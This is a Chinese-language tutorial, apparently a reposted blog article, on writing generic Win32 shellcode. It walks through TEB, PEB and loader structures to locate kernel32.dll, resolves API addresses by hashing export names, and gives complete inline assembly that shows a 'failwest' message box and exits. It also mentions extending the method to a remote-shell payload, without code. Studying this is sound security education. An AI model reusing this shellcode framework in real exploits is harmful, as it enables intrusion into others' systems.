通用shellcode


所有 win_32 程序都會加載 ntdll.dll 和 kernel32.dll 這兩個最基礎的動態鏈接庫。如果想要
在 win_32 平台下定位 kernel32.dll 中的 API 地址,可以采用如下方法。

  1. 首先通過段選擇字 FS 在內存中找到當前的線程環境塊 TEB。

  2. 線程環境塊偏移位置為 0x30 的地方存放着指向進程環境塊 PEB 的指針。

  3. 進程環境塊中偏移位置為 0x0C 的地方存放着指向 PEB_LDR_DATA 結構體的指針,
    其中,存放着已經被進程裝載的動態鏈接庫的信息。

  4. PEB_LDR_DATA 結構體偏移位置為 0x1C 的地方存放着指向模塊初始化鏈表的頭指
    針 InInitializationOrderModuleList。

  5. 模塊初始化鏈表 InInitializationOrderModuleList 中按順序存放着 PE 裝入運行時初始化
    模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。

  6. 找到屬於 kernel32.dll 的結點后,在其基礎上再偏移 0x08 就是 kernel32.dll 在內存中的
    加載基地址。

  7. 從 kernel32.dll 的加載基址算起,偏移 0x3C 的地方就是其 PE 頭。

  8. PE 頭偏移 0x78 的地方存放着指向函數導出表的指針。

  9. 至此,我們可以按如下方式在函數導出表中算出所需函數的入口地址

fs是什么?TEB是什么?

  • fs是一個寄存器,只不過不可見
  • 在NT內核系統中fs寄存器指向TEB結構
  • TEB+0x30處指向PEB結構

TEB結構如下:

 //
 // Thread Environment Block (TEB)
 //
 typedef struct _TEB
 {
     NT_TIB Tib;                             /* 00h */
     PVOID EnvironmentPointer;               /* 1Ch */
     CLIENT_ID Cid;                          /* 20h */
     PVOID ActiveRpcHandle;                  /* 28h */
     PVOID ThreadLocalStoragePointer;        /* 2Ch */
     struct _PEB *ProcessEnvironmentBlock;   /* 30h */
     ULONG LastErrorValue;                   /* 34h */
     ULONG CountOfOwnedCriticalSections;     /* 38h */
     PVOID CsrClientThread;                  /* 3Ch */
     struct _W32THREAD* Win32ThreadInfo;     /* 40h */
     ULONG User32Reserved[0x1A];             /* 44h */
     ULONG UserReserved[5];                  /* ACh */
     PVOID WOW32Reserved;                    /* C0h */
     LCID CurrentLocale;                     /* C4h */
     ULONG FpSoftwareStatusRegister;         /* C8h */
     PVOID SystemReserved1[0x36];            /* CCh */
     LONG ExceptionCode;                     /* 1A4h */
     struct _ACTIVATION_CONTEXT_STACK *ActivationContextStackPointer; /* 1A8h */
     UCHAR SpareBytes1[0x28];                /* 1ACh */
     GDI_TEB_BATCH GdiTebBatch;              /* 1D4h */
     CLIENT_ID RealClientId;                 /* 6B4h */
     PVOID GdiCachedProcessHandle;           /* 6BCh */
     ULONG GdiClientPID;                     /* 6C0h */
     ULONG GdiClientTID;                     /* 6C4h */
     PVOID GdiThreadLocalInfo;               /* 6C8h */
     ULONG Win32ClientInfo[62];              /* 6CCh */
     PVOID glDispatchTable[0xE9];            /* 7C4h */
     ULONG glReserved1[0x1D];                /* B68h */
     PVOID glReserved2;                      /* BDCh */
     PVOID glSectionInfo;                    /* BE0h */
     PVOID glSection;                        /* BE4h */
     PVOID glTable;                          /* BE8h */
     PVOID glCurrentRC;                      /* BECh */
     PVOID glContext;                        /* BF0h */
     NTSTATUS LastStatusValue;               /* BF4h */
     UNICODE_STRING StaticUnicodeString;     /* BF8h */
     WCHAR StaticUnicodeBuffer[0x105];       /* C00h */
     PVOID DeallocationStack;                /* E0Ch */
     PVOID TlsSlots[0x40];                   /* E10h */
     LIST_ENTRY TlsLinks;                    /* F10h */
     PVOID Vdm;                              /* F18h */
     PVOID ReservedForNtRpc;                 /* F1Ch */
     PVOID DbgSsReserved[0x2];               /* F20h */
     ULONG HardErrorDisabled;                /* F28h */
     PVOID Instrumentation[14];              /* F2Ch */
     PVOID SubProcessTag;                    /* F64h */
     PVOID EtwTraceData;                     /* F68h */
     PVOID WinSockData;                      /* F6Ch */
     ULONG GdiBatchCount;                    /* F70h */
     BOOLEAN InDbgPrint;                     /* F74h */
     BOOLEAN FreeStackOnTermination;         /* F75h */
     BOOLEAN HasFiberData;                   /* F76h */
     UCHAR IdealProcessor;                   /* F77h */
     ULONG GuaranteedStackBytes;             /* F78h */
     PVOID ReservedForPerf;                  /* F7Ch */
     PVOID ReservedForOle;                   /* F80h */
     ULONG WaitingOnLoaderLock;              /* F84h */
     ULONG SparePointer1;                    /* F88h */
     ULONG SoftPatchPtr1;                    /* F8Ch */
     ULONG SoftPatchPtr2;                    /* F90h */
     PVOID *TlsExpansionSlots;               /* F94h */
     ULONG ImpersionationLocale;             /* F98h */
     ULONG IsImpersonating;                  /* F9Ch */
     PVOID NlsCache;                         /* FA0h */
     PVOID pShimData;                        /* FA4h */
     ULONG HeapVirualAffinity;               /* FA8h */
     PVOID CurrentTransactionHandle;         /* FACh */
     PTEB_ACTIVE_FRAME ActiveFrame;          /* FB0h */
     PVOID FlsData;                          /* FB4h */
     UCHAR SafeThunkCall;                    /* FB8h */
     UCHAR BooleanSpare[3];                  /* FB9h */
} TEB, *PTEB;

PEB結構

typedef struct _PEB
{
    UCHAR InheritedAddressSpace; // 00h
    UCHAR ReadImageFileExecOptions; // 01h
    UCHAR BeingDebugged; // 02h
    UCHAR Spare; // 03h
    PVOID Mutant; // 04h
    PVOID ImageBaseAddress; // 08h
    PPEB_LDR_DATA Ldr; // 0Ch
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
    PVOID SubSystemData; // 14h
    PVOID ProcessHeap; // 18h
    PVOID FastPebLock; // 1Ch
    PPEBLOCKROUTINE FastPebLockRoutine; // 20h
    PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
    ULONG EnvironmentUpdateCount; // 28h
    PVOID* KernelCallbackTable; // 2Ch
    PVOID EventLogSection; // 30h
    PVOID EventLog; // 34h
    PPEB_FREE_BLOCK FreeList; // 38h
    ULONG TlsExpansionCounter; // 3Ch
    PVOID TlsBitmap; // 40h
    ULONG TlsBitmapBits[0x2]; // 44h
    PVOID ReadOnlySharedMemoryBase; // 4Ch
    PVOID ReadOnlySharedMemoryHeap; // 50h
    PVOID* ReadOnlyStaticServerData; // 54h
    PVOID AnsiCodePageData; // 58h
    PVOID OemCodePageData; // 5Ch
    PVOID UnicodeCaseTableData; // 60h
    ULONG NumberOfProcessors; // 64h
    ULONG NtGlobalFlag; // 68h
    UCHAR Spare2[0x4]; // 6Ch
    LARGE_INTEGER CriticalSectionTimeout; // 70h
    ULONG HeapSegmentReserve; // 78h
    ULONG HeapSegmentCommit; // 7Ch
    ULONG HeapDeCommitTotalFreeThreshold; // 80h
    ULONG HeapDeCommitFreeBlockThreshold; // 84h
    ULONG NumberOfHeaps; // 88h
    ULONG MaximumNumberOfHeaps; // 8Ch
    PVOID** ProcessHeaps; // 90h
    PVOID GdiSharedHandleTable; // 94h
    PVOID ProcessStarterHelper; // 98h
    PVOID GdiDCAttributeList; // 9Ch
    PVOID LoaderLock; // A0h
    ULONG OSMajorVersion; // A4h
    ULONG OSMinorVersion; // A8h
    ULONG OSBuildNumber; // ACh
    ULONG OSPlatformId; // B0h
    ULONG ImageSubSystem; // B4h
    ULONG ImageSubSystemMajorVersion; // B8h
    ULONG ImageSubSystemMinorVersion; // C0h
    ULONG GdiHandleBuffer[0x22]; // C4h
    PVOID ProcessWindowStation; // ???
} PEB, *PPEB;

PEB_LDR_DATA結構

typedef struct _PEB_LDR_DATA
{
 ULONG Length; // +0x00
 BOOLEAN Initialized; // +0x04
 PVOID SsHandle; // +0x08
 LIST_ENTRY InLoadOrderModuleList; // +0x0c
 LIST_ENTRY InMemoryOrderModuleList; // +0x14
 LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

LIST_ENTRY結構

 typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;
    struct _LIST_ENTRY *Blink;
 } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
  • 導出表偏移 0x1C 處的指針指向存儲導出函數偏移地址(RVA)的列表。

  • 導出表偏移 0x20 處的指針指向存儲導出函數函數名的列表。

  • 函數的 RVA 地址和名字按照順序存放在上述兩個列表中,我們可以在名稱列表中定位
    到所需的函數是第幾個,然后在地址列表中找到對應的 RVA。

  • 獲得 RVA 后,再加上前邊已經得到的動態鏈接庫的加載基址,就獲得了所需 API 此刻
    在內存中的虛擬地址,這個地址就是我們最終在 shellcode 中調用時需要的地址。

按照上面的方法,我們已經可以獲得 kernel32.dll 中的任意函數。類似地,我們已經具備了
定位 ws2_32.dll 中的 winsock 函數來編寫一個能夠獲得遠程 shell 的真正的 shellcode 了。

其實,在摸透了 kernel32.dll 中的所有導出函數之后,結合使用其中的兩個函數 LoadLibrary()
和 GetProcAddress(),有時可以讓定位所需其他 API 的工作變得更加容易。

image

int main()
{
     _asm
     {
             mov eax, fs:[0x30] ;PEB的地址 
             mov eax, [eax + 0x0c] ;Ldr的地址 
             mov esi, [eax + 0x1c] ;Flink地址 
             lodsd  
             mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址 
     }
     return 0;
}

一個彈出對話框,然后退出程序的shellcode

  • MessageBoxA 位於 user32.dll 中,用於彈出消息框。
  • ExitProcess 位於 kernel32.dll 中,用於正常退出程序。
  • LoadLibraryA 位於 kernel32.dll 中。並不是所有的程序都會裝載 user32.dll,所以在我們調用MessageBoxA 之前,應該先使用 LoadLibrary(“user32.dll” )裝載其所屬的動態鏈接庫

為了讓 shellcode 更加通用,能被大多數緩沖區容納,我們總是希望 shellcode 盡可能短。因此,,一般情況下並不會“MessageBoxA”這么長的字符串去進行直接比較。所以會對所需的API函數 名進行hash運算,這樣只要比較 hash 所得的摘要就能判定是不是我們所需的API了

本次使用的hash算法

#include <stdio.h>
DWORD GetHash(char *fun_name)
{
    DWORD digest=0;
    while(*fun_name)
    {
        digest=((digest<<25)|(digest>>7)); //循環右移7位 
       /*
            movsx	eax,byte ptr[esi]  
    		cmp		al,ah             
    		jz		compare_hash
    -->	ror     edx,7   ;這一行我看了倆小時,最后才意識到是((循環))右移,不是單純的 >>7
    		add		edx,eax
    		inc		esi
    		jmp		hash_loop
            這是我第一次知道匯編也有比C語言方便的時候
       */
        digest+= *fun_name ; //累加
        fun_name++;
    }
    return digest;
}
main()
{
    DWORD hash;
    hash= GetHash("AddAtomA");
    printf("%#x\n",hash);
}

當 shellcode 是利用異常處理機制而植入的時候,往往會產生標志位的變化,使 shellcode 中的字串處理方向發生變化而產生錯誤(如指令 LODSD)。為了增加 shellcode的通用性,在push之前應當先用 CLD 將 DF 位清零

CLD                         ;清空標志位DF
push   0x1E380A6A           ;壓入MessageBoxA的hash-->user32.dll
push   0x4FD18963           ;壓入ExitProcess的hash-->kernel32.dll
push   0x0C917432           ;壓入LoadLibraryA的hash-->kernel32.dll
mov esi,esp                 ;esi=esp,指向堆棧中存放LoadLibraryA的地址
lea  edi,[esi-0xc]	        ;函數地址的開始

抬高棧頂,保護 shellcode 不被入棧數據破壞。

xor ebx,ebx
mov bh, 0x04
sub esp, ebx

定位kernel32.dll的基地址

mov		ebx,fs:[edx+0x30]   ;PEB
mov		ecx,[ebx+0xC]		;PEB_LDR_DATA
mov		ecx,[ecx+0x1C]		;InInitializationOrderModuleList
mov		ecx,[ecx]           ;進入鏈表第一個就是ntdll.dll
mov		ebp,[ecx+0x8]		;ebp= kernel32.dll的基地址

下面找函數表的地址

mov		eax,[ebp+0x3C]		//dll的PE頭 ebp是pe文件的開頭位置(MZ)
mov		ecx,[ebp+eax+0x78]	//導出表的指針
add		ecx,ebp				//ecx=0x78C00000+0x262c
mov		ebx,[ecx+0x20]		//導出函數名列表指針
add		ebx,ebp             //導出函數名列表指基地址

導出表的結構

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;              //PE文件的模塊名
    DWORD   Base;             //模塊基地址
    DWORD   NumberOfFunctions;      //總的導出函數的個數
    DWORD   NumberOfNames;        //有名稱的函數的個數(這一行我真不想寫,沒用,還可能會誤導初學者),有的導出函數沒有名字的只有序號
    DWORD   AddressOfFunctions;     //導出地址表
    DWORD   AddressOfNames;         //函數名表
    DWORD   AddressOfNameOrdinals;  //函數序號,並不一定是連續的,但一般和導出地址表是一一對應的
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

在導出表中搜索AIP的邏輯可以設計如圖

image

具體代碼如下

#include <stdio.h>
#include <windows.h>

int main()
{
    __asm
    {
        CLD                         //清空標志位DF
        push   0x1E380A6A           //壓入MessageBoxA的hash-->user32.dll
        push   0x4FD18963           //壓入ExitProcess的hash-->kernel32.dll
        push   0x0C917432           //壓入LoadLibraryA的hash-->kernel32.dll
        mov esi,esp                 //esi=esp,指向堆棧中存放LoadLibraryA的地址
        lea  edi,[esi-0xc]	        //空出8字節應該是為了兼容性
        //======開辟一些棧空間
        xor		ebx,ebx
        mov		bh,0x04
        sub		esp,ebx             //esp-=0x400
        //======壓入"user32.dll"
        mov		bx,0x3233       
        push	ebx			        //"\0 32"
        push	0x72657375          //"user"
        push	esp                 
        xor		edx,edx             //edx=0
        //======找kernel32.dll的基地址
        mov		ebx,fs:[edx+0x30]   //[TEB+0x30]-->PEB
        mov		ecx,[ebx+0xC]		//[PEB+0xC]--->PEB_LDR_DATA
        mov		ecx,[ecx+0x1C]		//[PEB_LDR_DATA+0x1C]--->InInitializationOrderModuleList
        mov		ecx,[ecx]           //進入鏈表第一個就是ntdll.dll
        mov		ebp,[ecx+0x8]		//ebp= kernel32.dll的基地址
        
        //======是否找到了自己所需全部的函數
find_lib_functions:
        lodsd                       //eax=[esi],esi+=4          
        cmp		eax,0x1E380A6A      //與MessageBoxA的hash比較
        jne		find_functions
        xchg	eax,ebp             //-------------------------------------------------> |
        call	[edi-0x8]           //LoadLibraryA("user32")                             |
        xchg	eax,ebp             //ebp=userl32.dll的基地址,eax=MessageBoxA的hash  <-- |
        
        //======導出函數名列表指針
find_functions:
        pushad                      //保護寄存器
        mov		eax,[ebp+0x3C]		//dll的PE頭
        mov		ecx,[ebp+eax+0x78]	//導出表的指針
        add		ecx,ebp				//ecx=導出表的基地址
        mov		ebx,[ecx+0x20]		//導出函數名列表指針
        add		ebx,ebp             //ebx=導出函數名列表指針的基地址
        xor		edi,edi           
        
        //======找下一個函數名       
next_function_loop:
        inc		edi
        mov     esi,[ebx+edi*4]    //從列表數組中讀取
        add		esi,ebp			   //esi = 函數名稱所在地址
        cdq                        //edx = 0
        
        //======函數名的hash運算 		
hash_loop:                         
        movsx	eax,byte ptr[esi]  
        cmp		al,ah              //字符串結尾就跳出當前函數  
        jz		compare_hash
        ror     edx,7
        add		edx,eax
        inc		esi
        jmp		hash_loop
        //======比較找到的當前函數的hash是否是自己想找的	
compare_hash:
        cmp		edx,[esp+0x1C]    //lods pushad后,棧+1c為LoadLibraryA的hash
        jnz		next_function_loop		
        mov		ebx,[ecx+0x24]    //ebx = 順序表的相對偏移量
        add		ebx,ebp           //順序表的基地址
        mov     di,[ebx+2*edi]    //匹配函數的序號
        mov		ebx,[ecx+0x1C]    //地址表的相對偏移量
        add		ebx,ebp           //地址表的基地址
        add		ebp,[ebx+4*edi]   //函數的基地址        
        xchg	eax,ebp           //eax<==>ebp 交換
        
        pop		edi
        stosd                     //把找到的函數保存到edi的位置
        push	edi
        
        popad                     
        cmp		eax,0x1e380a6a    //messagebox的hash
        jne		find_lib_functions

        //======讓他做些自己想做的事
function_call:
        xor		ebx,ebx
        push	ebx               
        push	0x74736577     
        push	0x6c696166        //push "failwest"
        mov		eax,esp    
        push	ebx
        push	eax
        push	eax
        push	ebx
        call	[edi-0x04]        //MessageBoxA(NULL,"failwest","failwest",NULL)
        push	ebx               
        call	[edi-0x08]        //ExitProcess(0);
        nop                       
        nop
        nop
        nop
    }
    return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM